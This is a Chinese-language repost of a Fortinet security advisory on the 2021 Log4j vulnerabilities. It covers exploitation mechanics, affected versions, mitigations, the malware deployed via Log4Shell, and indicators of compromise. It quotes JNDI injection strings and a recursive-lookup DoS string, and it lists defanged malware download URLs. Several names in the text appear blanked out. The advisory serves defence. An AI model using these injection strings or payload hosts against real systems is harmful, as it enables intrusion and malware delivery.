金穗农机指南

网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御

admin 110

起底ApacheLog4j漏洞:

如何出现、如何被利用与如何防御

受影响平台:

任何使用Log4j2漏洞版本的应用程序和服务

受影响用户:

任何使用Log4j的具备该漏洞版本的组织

影响:

远程攻击者控制漏洞系统

漏洞等级:

高危

12月14日,Apache软件基金会公布了Log4j的第二个漏洞(CVE-2021-45046)。此漏洞最初被认定为拒绝服务攻击(DoS)漏洞,在CVSS中的评分为3.7分,属于中危级别漏洞。

12月16日,该漏洞此前一直未被发现的另外两大威胁相继浮出水面,形势愈发严峻:信息泄露、允许远程代码执行漏洞(该漏洞可能导致设备远程受控,进而引发敏感信息窃取、设备服务中断等严重危害)。如此重大威胁促使Apache更新了有关此漏洞的公告,并将其CVSS评分升至9.0分

12月18日,Log4j再爆第三个漏洞(官方名称:CVE-2021-45105)——该漏洞是Apache用于Log4j2提供的Lookup递归解析功能造成的,可使Log4j受到拒绝服务攻击(DoS)。目前Apache已针对该漏洞发布2.17.0修复版本。

12月19日,一种MiraiIoT恶意软件的“蠕虫”变种被发现,该病毒可嵌入CVE-2021-44228漏洞的利用代码中。各大开源网络情报(OSINT)社区上展开了关于此恶意软件是否为“蠕虫”病毒的激烈讨论。

为什么受攻击的是Log4j?为何影响如此重大?

Log4j组件作为一款优秀的开源Java日志记录框架,被广泛应用于全球应用程序和服务中。通常,对Log4j组件的依赖有两到三层(即对一层依赖的依赖)。CVE-2021-44228漏洞之所以如此危险,部分原因是由于Log4j组件的普适性。成百上千万的应用程序(例如iCloud、Steam、Minecraft)均使用Log4j组件来记录日志。攻击者只需通过应用程序来记录一个特殊的字符串,便可成功利用该漏洞。

通过JNDI(Java命名和目录访问接口),Log4j框架提供了一个允许连接到外部目录服务,例如LDAP(轻量级目录访问协议))的接口。这为攻击者的几种攻击行为提供了入侵基础,这些行为目前发现于未受限制因而不安全的JNDIlookup中,攻击者可在未授权的情况下,通过发送特定恶意数据包,在目标服务器上远程执行任意代码。

事实上,在补丁发布之前,攻击者利用第一个漏洞CVE-2021-44228之时,风险就已初露端倪。据Cloudflare称,早在补丁发布9天前的12月1日就已发现该漏洞被利用。同样值得一提的是,Minecraft吹响了该安全风险的第一声哨,因为它是最先被攻击的服务器之一。

CVE-2021-44228漏洞是如何被利用的

攻击者一旦选定目标,会将JNDI查询添加至针对该目标的连接请求中某个字段中,该字段很可能被Log4j记录。例如:“${jndi:ldap:///aaa}”

此后,Log4j漏洞版本会接受该请求,并尝试使用LDAP查询来联系“”。

如果连接成功,受攻击者控制的“”会将一个恶意Java类文件位置插入该目录数据中,来回复该查询。

随后,该目标上的Java实现接口会下载并执行该恶意Java类文件。

CVE-2021-45046漏洞如何被利用以执行远程代码?

一旦选定目标,攻击者会将JNDI查询添加到针对该目标的连接请求中某个字段中,该字段很可能被Log4j记录。版本中针对CVE-2021-44228漏洞的修复补丁默认不允许远程JNDI查询。因此,攻击者会通过以下的方式进行绕过:“${jndi:ldap://127.0.0.1”符前存在本地主机地址,版本会将此请求视为有效;然而,此框架仍会解析整个字符串,并尝试使用LDAP查询来联系“”。

如果连接成功,受攻击者控制的“”会将一个恶意Java类文件位置插入该目录数据中,来回复该查询。

之后,该目标上的Java实现接口会下载并执行该恶意Java类文件。

CVE-2021-45105漏洞如何被利用以导致拒绝服务攻击(Dos)?

该漏洞被认为不包含在Log4Shell中。这会使远程执行漏洞更为复杂,因为攻击者需要具备相关知识并控制lookup命令(例如通过ThreadContextMap)。攻击者可构造包含递归查找的恶意输入数据,成功利用此漏洞将导致拒绝服务攻击(DoS)。

利用这一点,漏洞(或恶意)应用程序需要使用一个自定义的patternlayout的ContextMapLookup。

一个长字符串可以通过上面这种方式构造出来,当触发时,将变成一个无限循环,这样就耗尽了资源来进行拒绝服务攻击。例如("Examplelogline{}","${${::-${::-${::-j}}}}")。

利用CVE-2021-44228和CVE-2021-45046漏洞的攻击行为是否激增?

截至12月15日,通过使用Fortinet的IPS签名,我们发现:检测到的攻击数量稳步增加,这些攻击涉及这两个CVE漏洞——“”。


图1:自12月10日以来检测到的的攻击数量。

Log4j组件的哪些版本为漏洞版本?

CVE-2021-44228:从2.0-beta9到2.12.1、2.13.0到2.14.1(也包括2.15.0-rc1),所有的Log4j版本均为漏洞版本。

CVE-2021-45046:从2.0-beta9到2.15.0的Log4j版本。

CVE-2021-45105:从2.0-beta9到2.16.0的Log4j版本。

针对这些漏洞是否已发布官方修复补丁?

是的,建议Java8及以后版本的用户尽快更新至版本。但由于2.15.0中所提供的修复程序不完整,Apache随后又发布了和2.17.0版本,强烈建议用户升级至这两个新版本。

Java7的用户应升级至2.12.2版本。

​Apache是否已提供缓解方案?

是的,针对Log4Shell(CVE-2021-44228),Apache已提供以下缓解措施:

缓解方案:不含Lookups,因此风险较低。使用的应用程序只有当配置中使用了JNDI时才容易受到攻击。针对这种情况,一个单独的CVE(CVE-2021-4104)已经被提出。缓解方法:审计您的日志记录配置,以确保其未配置JMSApper。在没有JMSApper的情况下,此漏洞不会影响配置。

缓解方案:使用以下缓解技术中的任意一项。

Java8(或更新版本)的用户应升级至2.16.0版本。

待2.12.2版本发布(正在开发,即将发布)后,Java7的用户应升级至此版本。

除此之外,从类路径(classpath)中删除JndiLookup类:zip-q-dlog4j-core-*.jarorg/apache/logging/log4j/core/lookup/

※请注意:此漏洞仅会影响log4j-coreJAR文件。如果应用程序仅使用不含log4j-coreJAR的log4j-apiJAR文件,则不会受此漏洞影响。

针对CVE-2021-45046,Apache已提供以下缓解信息:

缓解措施:未受此漏洞影响。

缓解措施:使用以下缓解技术中的任意一项:

Java8(或更新版本)用户应升级至2.16.0版本。

Java7用户应升级至2.12.2版本。

除此之外,如果使用的版本不是2.16.0版本,可从类路径(classpath)中将JndiLookup类删除:zip-q-dlog4j-core-*.jarorg/apache/logging/log4j/core/lookup/

建议用户不要在版本中启用JNDI。如果需要JMSApper,则使用版本。

※注意:只有log4j-coreJAR文件受此漏洞影响。如果应用程序仅使用不含log4j-coreJAR的log4j-apiJAR文件,则不会受此漏洞的影响。

同时需注意:ApacheLog4j是唯一受此漏洞影响的日志记录服务(LoggingServices)子项目。其他项目(例如Log4net、Log4cxx)不受影响。

针对CVE-2021-45105漏洞,Apache已提供以下缓解措施:

缓解措施:未受此漏洞影响。

缓解措施:使用以下缓解技术中的任意一项:

Java8(或更新版本)用户应升级至2.17.0版本。或者,可在配置中进行缓解:

在日志记录配置的PatternLayout中,将ContextLookups(例如${ctx:loginId}或${ctx:loginId})替换为ThreadContextMappatterns(%X,%mdc或%MDC)。

除此之外,在配置中删除ContextLookups(例如${ctx:loginId}或${ctx:loginId})引用,因为这些引用来自应用程序的外部资源,例如HTTPheaders或用户输入。

※注意:仅log4j-coreJAR文件会受此漏洞影响。如果应用程序仅使用不含log4j-coreJAR的log4j-apiJAR文件,则不会受此漏洞的影响。

同时需注意:ApacheLog4j是唯一受此漏洞影响的日志记录服务(LoggingServices)子项目。其他项目(例如Log4net、Log4cxx)不受影响。

​Fortinet是否可以成功阻断此次漏洞攻击?

答案是肯定的。Fortinet发布了IPS签名“”,使用VID51006来阻断攻击者利用CVE-2021-44228和CVE-2021-45046漏洞的攻击行为。此签名最初发布在19.215.版本的IPS更新包中。此外,针对CVE-2021-45105漏洞,Fortinet还提供了IPS签名“”。

【攻击者利用Log4Shell漏洞部署了哪些恶意软件和潜在恶意应用程序(PUA)?】

Khonsari勒索软件

Khonsari是一款勒索软件:在受感染机器的特定文件夹中对文件加密,然后以解密为由勒索赎金。之所以称为Khonsari,是因为该软件将khonsari添加至其所加密文件的后缀扩展名中。

Kinsing

Kinsing是一款以Go语言形式写入的恶意软件:运行加密货币挖矿软件(cryptominer),并试图在受感染的环境中扩散。Kinsing早在2020年1月份就已出现。


图2:Kinsingdropper从92.242.40.21上下载有效载荷(payload)

Mirai

Mirai是一款基于Linux的多架构恶意软件,最初部署在公开网络设备中,现在正逐渐被用来攻击IoT(物联网)设备。一旦感染此恶意软件,受感染的设备会变成“僵尸”机,并加入僵尸网络(“僵尸”群)。这些僵尸网络主要被用来进行分布式拒绝服务攻击(DDoS)。


图3:域“”是感染Mirai的信号

Fortnet此前已专门针对Mirai恶意软件发布系列相关研究文章:

Dark(MANGA)僵尸网络程序已瞄准TP-Link家用无线路由器RCE漏洞

Mirai的幽灵

Mirai僵尸网络:采用FortiDDoS保护您的网络基础设施

Elknot

Elknot又称“比尔盖茨(BillGates)”,最初只是一款基于Linux的恶意软件,但后来被移植到Windows中。此恶意软件被用来发动分布式拒绝服务攻击(DDoS)。


图4.带函数名的Elknot二进制。CattackCompress是最常用的攻击命令

m8220

​m8220是一种针对Windows和Linux平台的挖矿僵尸网络。


图5.M8220正试图通过SSH进行扩散:通过解析用户文件夹和命令历史,获取用户名、密码和SSH钥匙。

Muhstik

针对Muhkstik,Fortinet曾发布过研究内容:

在Confluence服务器上利用漏洞实施的最新攻击

OrcusRAT

Orcus是一种远程访问木马(RAT),早在2016年就在地下论坛中被大肆宣传和售卖。尽管在2019年一名加拿大软件开发人员因创建和售卖RAT被捕,但OrcusRAT因其源代码泄露而至今仍被使用。作为一种RAT,OrcusRAT通过从其命令和受控服务器(CC)接收到的命令,可在受感染的机器上执行各种操作。

SitesLoader

以下shellscriptdropper可从。此二进制文件也是一种XMRig加密货币挖矿软件。


图6.SitesLoaderdropper从103.104.73.155上下载XMRigminer。

XMRig

XMRig是一款开源加密货币挖矿软件,用来获取Monero加密货币。尽管XMRig是一款合法软件,但经常被威胁实施者利用,从受感染的机器上非法获取Monero加密货币。


图7.下载并执行程序。

NanocoreRAT

Nanocore是一种模块化远程访问木马(RAT),出现时间为2013年。之前,该RAT可自由购买,其破解版本已被泄露至网络。Nanocore可在受感染的机器上执行典型的RAT活动,例如数据泄露、键盘记录、劫持网络摄像头、捕获屏幕截图等。

【是否存在某种恶意软件结合最新的Log4j漏洞进行扩散?】

据FortiGuardLabs得知,流传的一份报告显示,一种Mirai变种病毒可利用Log4Shell漏洞像蠕虫一样扩散。

我们的分析结果显示:此Mirai变种病毒兼具Log4Shell和CVE-2017-17215(HuaweiHG532路由器中的一种远程代码执行漏洞)漏洞,但并未表现出类似蠕虫病毒的功能。

因此,尽管我们的调查结果显示它可以像蠕虫般扩散,但与蠕虫不同的是僵尸主控机控制着所有指令。这是因为此Mirai变种病毒的扩散和指令依赖于外部资源。僵尸主控机还具备打开和关闭扫描功能的能力。

FortiGuardLabs检测出此Mirai变种病毒为ELF/!tr。

针对CVE-2017-17215漏洞,Fortinet提供IPS签名:“”。

就FortiEDR而言,所有已知样本已添加至我们的云智能中,执行此类样本的行为将被阻止。

​针对Log4j最新漏洞,Fortinet已发布如下研究文章:

Log4j2漏洞(爆发警报)

ApacheLog4J远程代码执行漏洞(CVE-2021-44228)(威胁信号)

Log4j新漏洞(CVE-2021-45046)导致拒绝服务攻击(威胁信号)

针对Log4j新漏洞(CVE-2021-45105),特发布修复版本(威胁信号)

据称,Mirai恶意软件使用在野的Log4Shell漏洞进行扩散(威胁信号)

Apachelog4j2日志消息替换(CVE-2021-44228)(PSIRT公告)

CVE-2021-44228–ApacheLog4j漏洞(PSIRT博客)

(威胁百科全书)

技术要点:FortiEDR如何让您的设备免遭Log4shell漏洞利用(FortiEDR)

【总结】

与之前的重大威胁(例如Wannacry、Heartbleed、Shellshock漏洞)相似,Log4j漏洞影响重大、波及全球。因其部署的广泛性,预计此漏洞的后续影响仍将持续一段时间,许多企业的应用程序和云服务需要及时更新。尽管全球范围内尚未发生因利用Log4j漏洞而导致的大规模恶意软件利用事件(比如爆发严重的软件勒索事件、蠕虫事件),但历史告诉我们不可放松警惕,尤其是在节日季即将来临之际,因为此时威胁实施者通常会更加活跃。

Fortinet将继续积极监测并进一步了解事件进展,同时将及时为您提供更多的预防措施信息。

【附:Fortinet的漏洞保护与减缓措施】

Fortinet针对CVE-2021-44228(Log4Shell)、CVE-2021-45046和CVE-2021-45105提供以下IPS签名。

(CVE-2021-44228andCVE-2021-45046)
(CVE-2021-45105)

Fortinet提供防止以下恶意软件、潜在恶意应用程序(PUA)和其他涉及文件的AV保护:

MSIL/!(Khonsariransomware)
BASH/!tr(kinsing)
ELF/!tr(kinsing)
ELF/!tr(Elknot)
Linux/!(Mirai)
Linux/!tr(Mirai)
Adware/Tsunami(Mirai)
ELF/!tr(Muhstik)
BASH/!(m8220)
Java/!tr(OrcusRAT)
BASH/!tr(SitesLoader)
Adware/Miner(SitesLoader)
BASH/!
Riskware/(XMRig)
Riskware/CVE202144228(XMRig)BAT/!(XMRig)
W32/!tr(NanocoreRAT)

Fortinet还提供以下AV覆盖,以应对通过Log4Shell传递的旧版恶意软件变种:

Kinsing
BASH/!tr
BASH/!tr
BASH/!tr
W64/!tr
BASH/!tr

Mirai
ELF/Mirai.[randomalphabets]
ELF/Mirai.[randomalphabets]!tr
Linux/Mirai[randomalphabets]!tr

Elknot
Linux/Elknot.[randomalphabets]!tr
ELF/Elknot.[radomalphabets]!tr

OrcusRAT
W32/OrcusRAT.[randomalphabets]
W32/Orcus.[randomalphabets]!tr
W32/Orcus.[randomalphabets]!

Muhstik
ELF/!tr
BASH/!tr
Adware/Tsunami
ELF/!tr
ELF/!tr
BAT/!tr
BASH/!tr

XMRig
W32/XMRigMiner
Riskware/XMRig_Miner
W32/XMRig_Miner.[randomalphabets]!tr
Riskware/XMRigCoinMiner
W32/XMRig_Miner.[randomalphabets]
Linux/XMrig.[randomalphabets]!
MSIL/XMRig_!tr
W32/!tr
W64/!tr
W32/XMRig_!tr
W32/XMRig_!tr

NanocoreRAT
W32/Backdoor_MSIL_!tr
W32/NANOCORE.[randomalphabets]!
W32/NanoCore.[randomalphabetsandnumbers]!tr
Data/Nanocore.[randomalphabets!tr
W32/Backdoor_MSIL_
MSIL/NanoCore.[Randomalphabetsandnumbers]!tr
Adware/NanoCore
Adware/Backdoor_MSIL_NANOCORE

IOCs
SHA-256Hash
f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789(Khonsariransomware)
6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b(Kinsing)
7e9663f87255ae2ff78eb882efe8736431368f341849fec000543f027bdb4512(Kinsing)
8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef(Kinsing)
bcfdddb033fb1fa9c73e222919ecd4be071e87b0c54825af516b4f336bc47fa2(Elknot)
0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049(Mirai)
19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d(Mirai)
2a4e636c4077b493868ea696db3be864126d1066cdc95131f522a4c9f5fb3fec(Mirai)
15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b(Muhstik)
10fad59b071db09aafcb7f40e775f28180aed182786557e9ee7f2f2e332b4513(m8220)
86fc70d24f79a34c46ef66112ef4756639fcad2f2d7288e0eeb0448ffab90428(OrcusRAT)
e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82(SitesLoader)
f059246cea87a886acb1938809cf4a1152247a5b5a2df0b1bf64c46a0daccbcc(SitesLoader)
3e6567dab5e7c7c42a02ac47e8c68f61c9c481bbbbe5ddb1c68e86f7370dab45(XMRig)
95ac2e2cd2caf30829a9588988601067a98f9bb02e0776a8ef2b813f9b4d8992(XMRig)
e8b2a8d0c3444c53f143d0b4ba87c23dd1b58b03fd0a6b1bcd6e8358e57807f1(XMRig)
bd5006ba4e4cfcf8a8b0b6da5bb30f4dd8a78beb351b814431ae8599dcf23f1b(NanocoreRAT)
e9744244461056c64fc390591729c035f3a375bc8ecfa1a0c111defa055c1273(Miraivariantwithallegedwormcapability)

URLs
3[.]145.115.94/zambo/groenhuyzen[.]exe
3[.]145.115.94/zambos_caldo_de_
hxxp://3[.]145.115.94/
hxxp://45[.]137.155.55/kinsing
hxxp://45[.]137.155.55/kinsing2
hxxp://80[.]71.158.12/kinsing
hxxp://80[.]71.158.44/kinsing
hxxp://82[.]118.18.201/kinsing
hxxp://92[.]242.40.21/kinsing
hxxp://93[.]189.42.8/kinsing
hxxp://92[.]242.40.21/
hxxp://45[.]137.155.55/
hxxp://155[.]94.154.170/aaa
hxxp://138[.]197.206.223/wp-content/themes/twentysixteen/dk86
hxxp://34[.]221.40.237/.x/pty5
hxxp://34[.]221.40.237/.x/pty9
nazi[.]uy
hxxp://agent[.]:1234/v
hxxp://185[.]250.148.157:8005/index
hxxp://103[.]104.73.155:8080/acc
hxxp://129[.]226.180.53/xmrig_setup/raw/master/setup_c3pool_
hxxp://download[.]/xmrig_setup/raw/master/setup_c3pool_
hxxp://54[.]210.230.186/wp-content/themes/twentyfourteen/
hxxp://198[.]98.60.67/bins/x86
hxxp://198.98.60.67/bins/arm
hxxp://198.98.60.67/